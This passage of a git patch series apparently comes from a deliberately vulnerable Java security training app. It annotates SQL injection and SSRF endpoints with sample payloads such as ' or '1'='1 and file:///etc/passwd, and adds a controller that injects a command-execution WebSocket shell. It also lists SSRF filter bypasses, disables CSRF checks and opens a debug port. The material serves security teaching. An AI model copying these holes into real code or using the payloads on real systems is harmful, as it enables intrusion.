         } catch (ClassNotFoundException e) {
-            logger.error("Sorry,can`t find the Driver!");
+            logger.error("Sorry, can't find the Driver!");
         } catch (SQLException e) {
             logger.error(e.toString());
         }
@@ -86,10 +87,9 @@ public String jdbc_sqli_vul(@RequestParam("username") String username) {
 
 
     /**
-     * Security Code.
-     * http://localhost:8080/sqli/jdbc/sec?username=joychou
+     * <p>Sql injection jbdc security code by using {@link PreparedStatement}.</p><br>
      *
-     * @param username username
+     * <a href="http://localhost:8080/sqli/jdbc/sec?username=joychou">http://localhost:8080/sqli/jdbc/sec?username=joychou</a>
      */
     @RequestMapping("/jdbc/sec")
     public String jdbc_sqli_sec(@RequestParam("username") String username) {
@@ -100,7 +100,7 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) {
             Connection con = DriverManager.getConnection(url, user, password);
 
             if (!con.isClosed())
-                System.out.println("Connecting to Database successfully.");
+                System.out.println("Connect to database successfully.");
 
             // fix code
             String sql = "select * from users where username = ?";
@@ -122,7 +122,7 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) {
             con.close();
 
         } catch (ClassNotFoundException e) {
-            logger.error("Sorry, can`t find the Driver!");
+            logger.error("Sorry, can't find the Driver!");
             e.printStackTrace();
         } catch (SQLException e) {
             logger.error(e.toString());
@@ -132,9 +132,8 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) {
 
 
     /**
-     * http://localhost:8080/sqli/jdbc/ps/vuln?username=joychou' or 'a'='a
-     *
-     * Incorrect use of prepareStatement. prepareStatement must use ? as a placeholder.
+     * <p>Incorrect use of prepareStatement. PrepareStatement must use ? as a placeholder.</p>
+     * <a href="http://localhost:8080/sqli/jdbc/ps/vuln?username=joychou' or 'a'='a">http://localhost:8080/sqli/jdbc/ps/vuln?username=joychou' or 'a'='a</a>
      */
     @RequestMapping("/jdbc/ps/vuln")
     public String jdbc_ps_vuln(@RequestParam("username") String username) {
@@ -165,7 +164,7 @@ public String jdbc_ps_vuln(@RequestParam("username") String username) {
             con.close();
 
         } catch (ClassNotFoundException e) {
-            logger.error("Sorry, can`t find the Driver!");
+            logger.error("Sorry, can't find the Driver!");
             e.printStackTrace();
         } catch (SQLException e) {
             logger.error(e.toString());
@@ -175,10 +174,9 @@ public String jdbc_ps_vuln(@RequestParam("username") String username) {
 
 
     /**
-     * vuln code
-     * http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1
-     *
-     * @param username username
+     * <p>Sql injection of mybatis vuln code.</p>
+     * <a href="http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1">http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1</a>
+     * <p>select * from users where username = 'joychou' or '1'='1' </p>
      */
     @GetMapping("/mybatis/vuln01")
     public List<User> mybatisVuln01(@RequestParam("username") String username) {
@@ -186,17 +184,20 @@ public List<User> mybatisVuln01(@RequestParam("username") String username) {
     }
 
     /**
-     * vul code
-     * http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1' %23
-     *
-     * @param username username
+     * <p>Sql injection of mybatis vuln code.</p>
+     * <a href="http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1">http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1</a>
+     * <p>select * from users where username like '%joychou' or '1'='1%' </p>
      */
     @GetMapping("/mybatis/vuln02")
     public List<User> mybatisVuln02(@RequestParam("username") String username) {
         return userMapper.findByUserNameVuln02(username);
     }
 
-    // http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=1 desc%23
+    /**
+     * <p>Sql injection of mybatis vuln code.</p>
+     * <a href="http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=id desc--">http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=id desc--</a>
+     * <p> select * from users order by id desc-- asc</p>
+     */
     @GetMapping("/mybatis/orderby/vuln03")
     public List<User> mybatisVuln03(@RequestParam("sort") String sort) {
         return userMapper.findByUserNameVuln03(sort);
@@ -204,10 +205,8 @@ public List<User> mybatisVuln03(@RequestParam("sort") String sort) {
 
 
     /**
-     * security code
-     * http://localhost:8080/sqli/mybatis/sec01?username=joychou
-     *
-     * @param username username
+     * <p>Sql injection mybatis security code.</p>
+     * <a href="http://localhost:8080/sqli/mybatis/sec01?username=joychou">http://localhost:8080/sqli/mybatis/sec01?username=joychou</a>
      */
     @GetMapping("/mybatis/sec01")
     public User mybatisSec01(@RequestParam("username") String username) {
@@ -215,9 +214,8 @@ public User mybatisSec01(@RequestParam("username") String username) {
     }
 
     /**
-     * http://localhost:8080/sqli/mybatis/sec02?id=1
-     *
-     * @param id id
+     * <p>Sql injection mybatis security code.</p>
+     * <a href="http://localhost:8080/sqli/mybatis/sec02?id=1">http://localhost:8080/sqli/mybatis/sec02?id=1</a>
      */
     @GetMapping("/mybatis/sec02")
     public User mybatisSec02(@RequestParam("id") Integer id) {
@@ -226,14 +224,19 @@ public User mybatisSec02(@RequestParam("id") Integer id) {
 
 
     /**
-     * http://localhost:8080/sqli/mybatis/sec03
+     * <p>Sql injection mybatis security code.</p>
+     * <a href="http://localhost:8080/sqli/mybatis/sec03">http://localhost:8080/sqli/mybatis/sec03</a>
      */
     @GetMapping("/mybatis/sec03")
     public User mybatisSec03() {
         return userMapper.OrderByUsername();
     }
 
-
+    /**
+     * <p>Order by sql injection mybatis security code by using sql filter.</p>
+     * <a href="http://localhost:8080/sqli/mybatis/orderby/sec04?sort=id">http://localhost:8080/sqli/mybatis/orderby/sec04?sort=id</a>
+     * <p>select * from users order by id asc </p>
+     */
     @GetMapping("/mybatis/orderby/sec04")
     public List<User> mybatisOrderBySec04(@RequestParam("sort") String sort) {
         return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort));
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index b4c4bde8..f28b8b91 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -34,11 +34,12 @@ public class SSRF {
     private HttpService httpService;
 
     /**
-     * http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd
-     *
-     * The default setting of followRedirects is true.
-     * Protocol: file ftp mailto http https jar netdoc
-     * UserAgent is Java/1.8.0_102.
+     * <p>
+     *    The default setting of followRedirects is true. <br>
+     *    Protocol: file ftp mailto http https jar netdoc. <br>
+     *    UserAgent is Java/1.8.0_102.
+     * </p>
+     * <a href="http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd">http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd</a>
      */
     @RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
     public String URLConnectionVuln(String url) {
@@ -90,9 +91,8 @@ public String httpURLConnectionVuln(@RequestParam String url) {
 
     /**
      * The default setting of followRedirects is true.
-     * UserAgent is <code>Apache-HttpClient/4.5.12 (Java/1.8.0_102)</code>.
-     *
-     * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org
+     * UserAgent is <code>Apache-HttpClient/4.5.12 (Java/1.8.0_102)</code>. <br>
+     * <a href="http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org">http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org</a>
      */
     @GetMapping("/request/sec")
     public String request(@RequestParam String url) {
@@ -108,12 +108,12 @@ public String request(@RequestParam String url) {
 
 
     /**
-     * Download the url file.
-     * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd
-     * <p>
-     * new URL(String url).openConnection()
-     * new URL(String url).openStream()
-     * new URL(String url).getContent()
+     * Download the url file. <br>
+     * <code>new URL(String url).openConnection()</code>  <br>
+     * <code>new URL(String url).openStream()</code> <br>
+     * <code>new URL(String url).getContent()</code> <br>
+     * <a href="http://localhost:8080/ssrf/openStream?url=file:///etc/passwd">http://localhost:8080/ssrf/openStream?url=file:///etc/passwd</a>
+
      */
     @GetMapping("/openStream")
     public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
@@ -179,12 +179,10 @@ public String okhttp(@RequestParam String url) {
 
     }
 
-
     /**
      * The default setting of followRedirects is true.
-     * UserAgent is <code>Apache-HttpClient/4.5.12 (Java/1.8.0_102)</code>.
-     *
-     * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com
+     * UserAgent is <code>Apache-HttpClient/4.5.12 (Java/1.8.0_102)</code>. <br>
+     * <a href="http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com">http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com</a>
      */
     @GetMapping("/httpclient/sec")
     public String HttpClient(@RequestParam String url) {
@@ -204,8 +202,7 @@ public String HttpClient(@RequestParam String url) {
     /**
      * The default setting of followRedirects is true.
      * UserAgent is <code>Jakarta Commons-HttpClient/3.1</code>.
-     *
-     * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
+     * <a href="http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com">http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com</a>
      */
     @GetMapping("/commonsHttpClient/sec")
     public String commonsHttpClient(@RequestParam String url) {
@@ -223,9 +220,8 @@ public String commonsHttpClient(@RequestParam String url) {
 
     /**
      * The default setting of followRedirects is true.
-     * UserAgent is the useragent of browser.
-     *
-     * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
+     * UserAgent is the useragent of browser.<br>
+     * <a href="http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com">http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com</a>
      */
     @GetMapping("/Jsoup/sec")
     public String Jsoup(@RequestParam String url) {
@@ -244,9 +240,8 @@ public String Jsoup(@RequestParam String url) {
 
     /**
      * The default setting of followRedirects is true.
-     * UserAgent is <code>Java/1.8.0_102</code>.
-     *
-     * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com
+     * UserAgent is <code>Java/1.8.0_102</code>. <br>
+     * <a href="http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com">http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com</a>
      */
     @GetMapping("/IOUtils/sec")
     public String IOUtils(String url) {
@@ -274,10 +269,10 @@ public String HttpSyncClients(@RequestParam("url") String url) {
 
 
     /**
-     * http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com <p>
-     * Only support HTTP protocol. <p>
-     * Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects<p>
-     * User-Agent: Java/1.8.0_102 <p>
+     * Only support HTTP protocol. <br>
+     * GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects. <br>
+     * User-Agent is Java/1.8.0_102. <br>
+     * <a href="http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com">http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com</a>
      */
     @GetMapping("/restTemplate/vuln1")
     public String RestTemplateUrlBanRedirects(String url){
@@ -296,12 +291,9 @@ public String RestTemplateUrl(String url){
 
 
     /**
-     * http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com <p>
-     * UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool<p>
-     * Redirects: Do not follow redirects <p>
-     *
-     * @param url url
-     * @return contents of url
+     * UserAgent is Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool.
+     * Do not follow redirects. <br>
+     * <a href="http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com">http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com</a>
      */
     @GetMapping("/hutool/vuln")
     public String hutoolHttp(String url){
@@ -309,4 +301,18 @@ public String hutoolHttp(String url){
     }
 
 
+    /**
+     * DnsRebind SSRF in java by setting ttl is zero. <br>
+     * <a href="http://localhost:8080/ssrf/dnsrebind/vuln?url=http://test.joychou.org">http://localhost:8080/ssrf/dnsrebind/vuln?url=dnsrebind_url</a>
+     */
+    @GetMapping("/dnsrebind/vuln")
+    public String DnsRebind(String url) {
+        java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
+        if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
+            return "Dangerous url";
+        }
+        return HttpUtil.get(url);
+    }
+
+
 }
diff --git a/src/main/java/org/joychou/controller/WebSockets.java b/src/main/java/org/joychou/controller/WebSockets.java
new file mode 100644
index 00000000..6a477ece
--- /dev/null
+++ b/src/main/java/org/joychou/controller/WebSockets.java
@@ -0,0 +1,76 @@
+package org.joychou.controller;
+
+import org.apache.tomcat.websocket.server.WsServerContainer;
+import org.joychou.config.WebSocketsProxyEndpoint;
+import org.joychou.config.WebSocketsCmdEndpoint;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.ServletContext;
+import javax.servlet.http.HttpServletRequest;
+import javax.websocket.server.ServerContainer;
+import javax.websocket.server.ServerEndpointConfig;
+
+
+@RestController
+public class WebSockets {
+
+    /**
+     * <p>动态添加WebSockets实现命令执行</p>
+     * <p>
+     * 1. WebSocket的端口和Spring端口一致。<br>
+     * 2. 如果应用需要登录，动态添加的WebSocket路由不能要求被登录，否则添加失败。
+     * </p>
+     * <p>
+     *    <a href="http://localhost:8080/websocket/cmd?path=/ws/shell">http://localhost:8080/websocket/cmd?path=/ws/shell</a> <br>
+     *    WebSockets 的URL为ws://127.0.0.1:8080/ws/shell
+     * </p>
+     * <p>JoyChou @ 2023年02月20日 </p>
+     */
+    @RequestMapping("/websocket/cmd")
+    public String cmdInject(HttpServletRequest req) {
+        String path = req.getParameter("path");
+        if (path == null) {
+            return "path is null";
+        }
+        ServletContext sc = req.getServletContext();
+        try {
+            ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(WebSocketsCmdEndpoint.class, path).build();
+            WsServerContainer wsc = (WsServerContainer) sc.getAttribute(ServerContainer.class.getName());
+            if (wsc.findMapping(path) == null) {
+                wsc.addEndpoint(sec);
+                System.out.println("[+] Websocket: " + path + " inject success!!!");
+                return "[+] Websocket: " + path + " inject success!!!";
+            } else {
+                System.out.println("[-] Websocket: " + path + " has been injected!");
+                return "[-] Websocket: " + path + " has been injected!";
+            }
+        } catch (Exception e) {
+            return e.toString();
+        }
+    }
+
+    @RequestMapping("/websocket/proxy")
+    public String proxyInject(HttpServletRequest req) {
+        String path = req.getParameter("path");
+        if (path == null) {
+            return "path is null";
+        }
+        ServletContext sc = req.getServletContext();
+        try {
+            ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(WebSocketsProxyEndpoint.class, path).build();
+            WsServerContainer wsc = (WsServerContainer) sc.getAttribute(ServerContainer.class.getName());
+            if (wsc.findMapping(path) == null) {
+                wsc.addEndpoint(sec);
+                System.out.println("[+] Websocket: " + path + " inject success!!!");
+                return "[+] Websocket: " + path + " inject success!!!";
+            } else {
+                System.out.println("[-] Websocket: " + path + " has been injected!");
+                return "[-] Websocket: " + path + " has been injected!";
+            }
+        } catch (Exception e) {
+            return e.toString();
+        }
+    }
+
+}
diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java
index 931a5688..14b6a232 100644
--- a/src/main/java/org/joychou/controller/XXE.java
+++ b/src/main/java/org/joychou/controller/XXE.java
@@ -252,8 +252,9 @@ public String DocumentBuilderVuln01(HttpServletRequest request) {
             sr.close();
             return buf.toString();
         } catch (Exception e) {
+            e.printStackTrace();
             logger.error(e.toString());
-            return EXCEPT;
+            return e.toString();
         }
     }
 
diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java
index 9d90c698..414fd24d 100644
--- a/src/main/java/org/joychou/security/WebSecurityConfig.java
+++ b/src/main/java/org/joychou/security/WebSecurityConfig.java
@@ -34,6 +34,11 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
     @Value("${joychou.security.csrf.exclude.url}")
     private String[] csrfExcludeUrl;
 
+
+    @Value("${joychou.no.need.login.url}")
+    private String[] noNeedLoginUrl;
+
+
     @Value("${joychou.security.csrf.method}")
     private String[] csrfMethod = {"POST"};
 
@@ -69,7 +74,7 @@ protected void configure(HttpSecurity http) throws Exception {
 
         // spring security login settings
         http.authorizeRequests()
-                .antMatchers("/css/**", "/js/**").permitAll() // permit static resources
+                .antMatchers(noNeedLoginUrl).permitAll() // no need to login page
                 // CVE-2022-22978漏洞代码
                 .regexMatchers("/black_path.*").denyAll()    // 如果正则匹配到/black_path，则forbidden
                 .anyRequest().authenticated().and() // any request authenticated except above static resources
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
index 0930e2b5..70f744ad 100644
--- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
@@ -16,7 +16,8 @@
 
 public class SSRFChecker {
 
-    private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class);
+    private static final Logger logger = LoggerFactory.getLogger(SSRFChecker.class);
+    private static String decimalIp;
 
     public static boolean checkURLFckSSRF(String url) {
         if (null == url) {
@@ -125,7 +126,7 @@ public static boolean isInternalIpByUrl(String url) {
      * @param strIP ip字符串
      * @return 如果是内网ip，返回true，否则返回false。
      */
-    static boolean isInternalIp(String strIP) {
+    public static boolean isInternalIp(String strIP) {
         if (StringUtils.isEmpty(strIP)) {
             logger.error("[-] SSRF check failed. IP is empty. " + strIP);
             return true;
@@ -144,15 +145,43 @@ static boolean isInternalIp(String strIP) {
 
     }
 
+
     /**
-     * host转换为IP
-     * 会将各种进制的ip转为正常ip
-     * 167772161 转换为  10.0.0.1
-     * 127.0.0.1.xip.io 转换为 127.0.0.1
+     * Convert host to decimal ip.
+     * Since there is a bypass in octal using {@link InetAddress#getHostAddress()},
+     * the function of converting octal to decimal is added.
+     * If it still can be bypassed, please submit
+     * <a href="https://github.com/JoyChou93/java-sec-code/pulls">PullRequests</a> or
+     * <a href="https://github.com/JoyChou93/java-sec-code/issues">Issues</a>.<br>
      *
-     * @param host 域名host
+     * <p>Normal:</p>
+     * <ul>
+     *    <li>69299689 to 10.23.78.233</li>
+     *    <li>69299689 to 10.23.78.233 </li>
+     *    <li>012.0x17.78.233 to 10.23.78.233 </li>
+     *    <li>012.027.0116.0351 to 10.23.78.233</li>
+     *    <li>127.0.0.1.xip.io to 127.0.0.1</li>
+     *    <li>127.0.0.1.nip.io to 127.0.0.1</li>
+     * </ul>
+
+     * <p>Bypass: </p>
+     * <ul>
+     *     <li>01205647351 to 71.220.183.247, actually 10.23.78.233</li>
+     *     <li>012.23.78.233 to 12.23.78.233, actually 10.23.78.233</li>
+     * </ul>
+     * @return decimal ip
      */
-    private static String host2ip(String host) {
+    public static String host2ip(String host) {
+
+        if (null == host) {
+            return "";
+        }
+
+        // convert octal to decimal
+         if(isOctalIP(host)) {
+             host = decimalIp;
+         }
+
         try {
             InetAddress IpAddress = InetAddress.getByName(host); //  send dns request
             return IpAddress.getHostAddress();
@@ -161,14 +190,90 @@ private static String host2ip(String host) {
         }
     }
 
+
     /**
-     * 从URL中获取host，限制为http/https协议。只支持http:// 和 https://，不支持//的http协议。
-     *
-     * @param url http的url
+     * Check whether the host is an octal IP, if so, convert it to decimal.
+     * @return Octal ip returns true, others return false. 012.23.78.233 return true. 012.0x17.78.233 return false.
+     */
+    public static boolean isOctalIP(String host) {
+        String[] ipParts = host.split("\\.");
+        StringBuilder newDecimalIP = new StringBuilder();
+        boolean is_octal = false;
+
+        // Octal ip only has number and dot character.
+        if (isNumberOrDot(host)) {
+
+            if (ipParts.length != 1 && ipParts.length != 4) {
+                return false;
+            }
+
+            // 000000001205647351
+            if( ipParts.length == 1 && host.startsWith("0") ) {
+                decimalIp = Integer.valueOf(host, 8).toString();
+                return true;
+            }
+
+            // 0000012.23.78.233
+            for(String ip : ipParts) {
+                if (!isNumber(ip)){
+                    throw new SSRFException("Illegal host: " + host + ".");
+                }
+                if (ip.startsWith("0")) {
+                    if (Integer.valueOf(ip, 8) >= 256){
+                        throw new SSRFException("Illegal host: " + host + ".\t" + ip + " is above 255.");
+                    }
+                    newDecimalIP.append(Integer.valueOf(ip, 8)).append(".");
+                    is_octal = true;
+                }else{
+                    if (Integer.valueOf(ip, 10) >= 256) {
+                        throw new SSRFException("Illegal host: " + host + ".\t" + ip + " is above 255.");
+                    }
+                    newDecimalIP.append(ip).append(".");
+                }
+            }
+            decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf("."));
+        }
+        return is_octal;
+    }
+
+    /**
+     * Check string is a number.
+     * @return If string is a number 0-9, return true. Otherwise, return false.
+     */
+    private static boolean isNumber(String str) {
+        if (null == str || "".equals(str)) {
+            return false;
+        }
+        for (int i = 0; i < str.length(); i++) {
+            char ch = str.charAt(i);
+            if (ch < 48 || ch > 57) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+
+    /**
+     * Check string is a number or dot.
+     * @return If string is a number or a dot, return true. Otherwise, return false.
+     */
+    private static boolean isNumberOrDot(String s) {
+        for (int i = 0; i < s.length(); i++) {
+            char ch = s.charAt(i);
+            if ((ch < 48 || ch > 57) && ch != 46){
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Get host from URL which the protocol must be http:// or https:// and not be //.
      */
     private static String url2host(String url) {
         try {
-            // 使用URI，而非URL，防止被绕过。
+            // use URI instead of URL
             URI u = new URI(url);
             if (SecurityUtil.isHttp(url)) {
                 return u.getHost();
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index 96ca82c3..d5c6d5ab 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -1,5 +1,5 @@
 
-spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?AllowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC
+spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?allowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC
 spring.datasource.username=root
 spring.datasource.password=woshishujukumima
 spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
@@ -14,7 +14,7 @@ endpoints.enabled=true
 
 # logging.config=classpath:logback-online.xml
 
-# 业务的callback参数，不支持多个
+# jsonp callback parameter
 joychou.business.callback = callback_
 
 
@@ -28,19 +28,30 @@ joychou.security.referer.uri = /jsonp/**
 
 ### csrf configuration begins ###
 # csrf token check
-joychou.security.csrf.enabled = true
+joychou.security.csrf.enabled = false
 # URI without CSRF check (only support ANT url format)
-joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**
+joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**, /deserialize/**
 # method for CSRF check
 joychou.security.csrf.method = POST
 ### csrf configuration ends ###
 
 
-### jsonp configuration begins ###  # auto convert json to jsonp
+### jsonp configuration begins ###
+# auto convert json to jsonp
 # referer check
 joychou.security.jsonp.referer.check.enabled = true
 joychou.security.jsonp.callback = callback, _callback
 ### jsonp configuration ends ###
 
 # swagger
-swagger.enable = true
\ No newline at end of file
+swagger.enable = true
+
+
+### no need to login page begins ###
+joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**
+### no need to login page ends ###
+
+
+
+# http header max size
+#server.max-http-header-size=30000

From 621c30050f82379afe1e2e6d4ff66c1234f33913 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Wed, 15 Mar 2023 18:55:18 +0800
Subject: [PATCH 31/38] Add XXE

---
 docker-compose.yml                            |  4 +-
 java-sec-code.iml                             | 20 +++--
 pom.xml                                       | 18 ++++
 .../org/joychou/controller/URLWhiteList.java  | 19 +++--
 src/main/java/org/joychou/controller/XXE.java | 82 ++++++++-----------
 .../joychou/security/ssrf/SSRFChecker.java    | 31 +++----
 src/main/java/org/joychou/util/HttpUtils.java |  1 -
 src/main/java/org/joychou/util/WebUtils.java  |  5 +-
 8 files changed, 98 insertions(+), 82 deletions(-)

diff --git a/docker-compose.yml b/docker-compose.yml
index cb3f8efa..7e9c878e 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -1,9 +1,11 @@
-version : '2'
+version : '3'
 services:
     jsc:
         image: joychou/jsc:latest
+        command: ["java", "-Xdebug", "-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000", "-jar", "jsc.jar"]
         ports:
             - "8080:8080"
+            - "8000:8000"
         links:
             - j_mysql
 
diff --git a/java-sec-code.iml b/java-sec-code.iml
index 6e093293..a20476ae 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -38,13 +38,13 @@
     <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-logging:1.5.1.RELEASE" level="project" />
     <orderEntry type="library" name="Maven: ch.qos.logback:logback-classic:1.1.9" level="project" />
     <orderEntry type="library" name="Maven: ch.qos.logback:logback-core:1.1.9" level="project" />
-    <orderEntry type="library" name="Maven: org.slf4j:jcl-over-slf4j:1.7.22" level="project" />
     <orderEntry type="library" name="Maven: org.slf4j:jul-to-slf4j:1.7.22" level="project" />
     <orderEntry type="library" name="Maven: org.slf4j:log4j-over-slf4j:1.7.22" level="project" />
     <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-tomcat:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.tomcat.embed:tomcat-embed-core:8.5.11" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.tomcat.embed:tomcat-embed-el:8.5.11" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.tomcat.embed:tomcat-embed-websocket:8.5.11" level="project" />
+    <orderEntry type="library" name="Maven: org.apache.tomcat.embed:tomcat-embed-core:8.5.85" level="project" />
+    <orderEntry type="library" name="Maven: org.apache.tomcat:tomcat-annotations-api:8.5.85" level="project" />
+    <orderEntry type="library" name="Maven: org.apache.tomcat.embed:tomcat-embed-el:8.5.85" level="project" />
+    <orderEntry type="library" name="Maven: org.apache.tomcat.embed:tomcat-embed-websocket:8.5.85" level="project" />
     <orderEntry type="library" name="Maven: org.hibernate:hibernate-validator:5.3.4.Final" level="project" />
     <orderEntry type="library" name="Maven: javax.validation:validation-api:1.1.0.Final" level="project" />
     <orderEntry type="library" name="Maven: org.jboss.logging:jboss-logging:3.3.0.Final" level="project" />
@@ -127,7 +127,7 @@
     <orderEntry type="library" scope="RUNTIME" name="Maven: com.google.inject.extensions:guice-multibindings:4.0" level="project" />
     <orderEntry type="library" scope="RUNTIME" name="Maven: com.google.inject.extensions:guice-grapher:4.0" level="project" />
     <orderEntry type="library" scope="RUNTIME" name="Maven: com.google.inject.extensions:guice-assistedinject:4.0" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: org.ow2.asm:asm:5.0.4" level="project" />
+    <orderEntry type="library" name="Maven: org.ow2.asm:asm:5.0.4" level="project" />
     <orderEntry type="library" scope="RUNTIME" name="Maven: org.codehaus.woodstox:woodstox-core-asl:4.4.1" level="project" />
     <orderEntry type="library" scope="RUNTIME" name="Maven: javax.xml.stream:stax-api:1.0-2" level="project" />
     <orderEntry type="library" scope="RUNTIME" name="Maven: org.codehaus.woodstox:stax2-api:3.1.4" level="project" />
@@ -170,8 +170,8 @@
     <orderEntry type="library" name="Maven: commons-httpclient:commons-httpclient:3.1" level="project" />
     <orderEntry type="library" name="Maven: org.mybatis.spring.boot:mybatis-spring-boot-starter:1.3.2" level="project" />
     <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-jdbc:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.tomcat:tomcat-jdbc:8.5.11" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.tomcat:tomcat-juli:8.5.11" level="project" />
+    <orderEntry type="library" name="Maven: org.apache.tomcat:tomcat-jdbc:8.5.85" level="project" />
+    <orderEntry type="library" name="Maven: org.apache.tomcat:tomcat-juli:8.5.85" level="project" />
     <orderEntry type="library" name="Maven: org.springframework:spring-jdbc:4.3.6.RELEASE" level="project" />
     <orderEntry type="library" name="Maven: org.springframework:spring-tx:4.3.6.RELEASE" level="project" />
     <orderEntry type="library" name="Maven: org.mybatis.spring.boot:mybatis-spring-boot-autoconfigure:1.3.2" level="project" />
@@ -222,5 +222,11 @@
     <orderEntry type="library" name="Maven: com.auth0:java-jwt:4.0.0" level="project" />
     <orderEntry type="library" name="Maven: cn.hutool:hutool-all:5.8.10" level="project" />
     <orderEntry type="library" name="Maven: org.javassist:javassist:3.27.0-GA" level="project" />
+    <orderEntry type="library" name="Maven: org.springframework.data:spring-data-commons:1.13.11.RELEASE" level="project" />
+    <orderEntry type="library" name="Maven: org.slf4j:jcl-over-slf4j:1.7.22" level="project" />
+    <orderEntry type="library" name="Maven: com.jayway.jsonpath:json-path:2.2.0" level="project" />
+    <orderEntry type="library" name="Maven: net.minidev:json-smart:2.2.1" level="project" />
+    <orderEntry type="library" name="Maven: net.minidev:accessors-smart:1.1" level="project" />
+    <orderEntry type="library" name="Maven: org.xmlbeam:xmlprojector:1.4.13" level="project" />
   </component>
 </module>
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index 43c5b99a..9ee03372 100644
--- a/pom.xml
+++ b/pom.xml
@@ -12,6 +12,7 @@
     <properties>
         <maven.compiler.source>1.8</maven.compiler.source> <!-- mvn clean package-->
         <maven.compiler.target>1.8</maven.compiler.target>
+        <tomcat.version>8.5.85</tomcat.version>
